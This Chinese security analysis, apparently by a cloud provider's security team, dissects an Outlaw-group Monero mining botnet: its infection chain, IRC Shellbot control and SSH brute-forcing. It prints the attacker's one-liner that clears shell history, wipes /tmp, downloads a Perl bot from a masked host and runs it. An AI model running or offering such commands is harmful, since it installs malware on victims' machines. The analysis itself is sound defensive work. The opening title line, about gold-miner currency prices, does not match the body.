【原标题:黄金矿工货币或将时代终结 形态决定未来价格走势】财金网消息 2009年,比特币横空出世。得益于去中心化的货币机制,比特币受到许多行业的青睐,其交易价格也是一路走高。由于比特币的成功,许多基于区块链技术的数字货币纷纷问世,例如以太币,门罗币,莱特币等。
这类数字货币并非由特定的货币发行机构发行,而是依据特定算法通过大量运算所得。而完成大量运算的工具就是挖矿机程序。
power by | 京东云安全能力与服务团队
图片来源:BBC NEWS
挖矿机程序运用计算机强大的运算力进行大量运算,由此获取数字货币。由于硬件性能的限制,数字货币玩家需要大量计算机进行运算以获得一定数量的数字货币,因此,一些不法分子通过各种手段将挖矿机程序植入受害者的计算机中,利用受害者计算机的运算力进行挖矿,从而获取利益。入侵者只需要准备主服务器,即master服务器,将获得服务器管理员权限以后的被入侵服务器转化为从属服务器,这样就形成了一个具有超大计算能力的分布式挖矿集群,大大提高了他的收益。这类在用户不知情的情况下植入用户计算机进行挖矿的挖矿机程序称为挖矿木马。
挖矿木马最早出现于2013年,2017年开始大量传播。挖矿木马传播者疯狂入侵企业网络,利用企业IT资源实现零成本挖矿。而暗网平台大量存在的非法交易,更是数字加密币持续火爆的土壤。根据“卡巴斯基2018年度安全公告”中可以看出,挖矿木马已经成为服务器遭遇的最严重的安全威胁之一。
图片来源
Kaspersky Security Bulletin 2018. Story of the year: miners
为了更好地让大家了解如何防范“挖矿木马”,今天我们给大家整理了一个典型的排查“挖矿木马”入侵的流程分析。
背景
发现近期云中部分主机出现挖矿行为,对发现的矿机及感染过程做出分析,此矿机目前比较活跃,同时脚本应该在持续更新中,并在互联网中进行持续活跃的感染,使用的是Outlaw组织的工具,怀疑此恶意感染矿机程序非个人行为为组织性行为,并试图隐藏真正身份。
攻击矢量分析
01
感染过程
1 . C2服务器通过得到的用户名与密码登录受害云主机;
2 . 受害云主机从C2服务器远端下载perl脚本;
3 . 受害云主机安装perl恶意程序与C2进行持久化通信;
4 . 通过IRC通信下载相关矿机程序及爆破程序并进行启动运行;
5 . 受害云主机根据下载的ip地址和密码表对云内部及外部主机进行暴力破解;
6 . 如果破解成功返回ip及口令结果;
7 . 通过IRC通信将ip及口令返回给C2服务器;
8 . 重复1~7过程进行多实例的感染。
02
感染过程相关使用样本
Hello: 远端C2服务器到本地运行测试,判断环境是否符合运行条件
Rsync/t:perl可执文件,执行成功后与C2服务器建立IRC通信
Abc: 主运行shell脚本,自动化下载、安装并启动所有程序
Dota.tar.gz:包含矿机、爆破和IRC通信程序的整体压缩包
Lan.sh: 启动迷你程序(单独的矿机压缩包和单独的爆破程序压缩包)的shell脚本,自动化下载、安装运行
Sslm.tar.gz:包含下载矿机执行脚本及爆破程序执行的脚本和爆破程序文件
Minloc.sh:矿机下载及运行的脚本
Ml.tar.gz:矿机运行程序压缩包
03
程序执行过程
受害主机自动化安装流程图
完整程序运行流程图
系统进程
轻量级安装程序运行流程图
完整恶意程序分析
01
文件结构
包括3个部分:
a:XMR挖矿程序
b:IRC与C2通信
c:SSH爆破程序
02
恶意程序执行过程分析
XMR挖矿程序分析
1、矿机简介:
使用的开源xmr-stak矿机,一个高度可配置的Monero(XMR)矿机。
Git上开源地址:https://github.com/fireice-uk/xmr-stak
2、安装过程:
通过从C2服务器中下载shell脚本执行,进行矿机下载和运行,此矿机已经是编译完成的二进制文件,直接可以在对应的系统中运行,无需安装编译环境及依赖。
Abc执行脚本中关于矿机部分:
下载解压后,执行init2脚本:运行a目录下a脚本,同时添加定时任务。
a目录下a脚本:生成upd脚本,赋予权限,执行upd脚本
Run脚本:使用下载的依赖lib库,按照系统位数运行对应的矿机可执行文件,此处文件名设置为了混淆和隐藏自身运行进程。
03
矿池分析
由于此矿机具有高可配置性,所以矿机加载自行下载下来的配置文件config.txt与pools.txt
根据pools.txt文件,发现矿池地址和钱包地址:
进一步确认表明池地址目前已关闭,公共池和哈希值没有更多信息站点。
此池配置指向荷兰的VPS提供商(服务器名称server12.offensiveservers.com,路由到AS50673 SERVERIUS - AS(NL))。VPS的被动DNS数据显示它托管了许多域,看起来主机像是一个游戏服务器主机。怀疑这些活动参与者可能已经在这个提供商建立他们自己私有的矿业池基础设施。
IRC与C2通信分析
通过安装使用perl语言的rsync或t可执行文件与C2服务器进行通信,目前的感染样本全部为黑客组织Outlaw使用的基于Perl Shellbot构建的IRC bot的变种。
01
安装过程
unset HISTFILE && rm -rf /tmp/t* && cd /tmp && wget -q x.x.x.x/t && chmod +x && perl t
或unset HISTFILE && rm -rf /tmp/* && cd /tmp && wget -q x.x.x.x/rsync && chmod +x && perl rsync
02
样本分析
样本采用了perl的代码(916行)混淆方式,通过Uuencode进行简单的编码混淆,目的主要为了避开特征检测等反病毒设备及监控设备
原始样本:
perl反混淆后,主要进行通信的函数:
03
执行过程
1、连接C2服务器:到C2的连接尝试在感染后就出现了,并且是持续的。如果连接断开,就重新连接:
2、感染后的TCP通信流:
通信流量说明恶意软件会加入僵尸机的IRC信道,并分配给昵称和服务器配置信息。修改DNS设置能够确认有真实的攻击目标参与其中。然后用PING/PONG通信来保持通信信道开启。IRC服务器会发送PING消息,需要PONG消息响应来预防连接断开。
3、后续动作:
在目标系统上运行后,IRC信道的管理员会发送不同的命令给被感染的主机。列表中含有执行端口扫描、DDOS、文件下载、信息获取、发送操作系统信息和运行进程列表的命令。
IRC相关的函数使用了join, part, uejoin, op, deop, voice, devoice, nick, msg, quit, uaw, die等。
SSH爆破分析
01
启动爆破流程
Start ➞ Aptitude ➞ run ➞ go ➞ tsm ➞ finish
02
Start执行脚本
指定路径和将shell脚本输出到指定文件运行
03
Aptitude执行脚本
切换到c目录下执行run脚本
04
Run执行脚本
先停掉已经运行脚本,随机时间执行go脚本
05
go执行脚本
首先清理已有文件,然后通过随机数进行判断去服务器获取爆破使用的a(ip地址列表)和b(密码列表),使用随机数方式主要还是为了逃避一些检测和监控,下载完毕后重命名为ip和p,最后执行tsm爆破程序使用密码列表对ip地址列表进行爆破,90分钟超时,如果未正常执行完毕将强制KILL程序,删除所有相关文件。
06
TSM程序
使用的是Outlaw组织之前使用过的haiduc工具。haiduc工具集变种用来暴力破解运行SSH服务的有漏洞的主机。
包含在32位与64位上分别能运行的二进制程序,同时带有供其使用的lib的so库,保证程序的正常运行。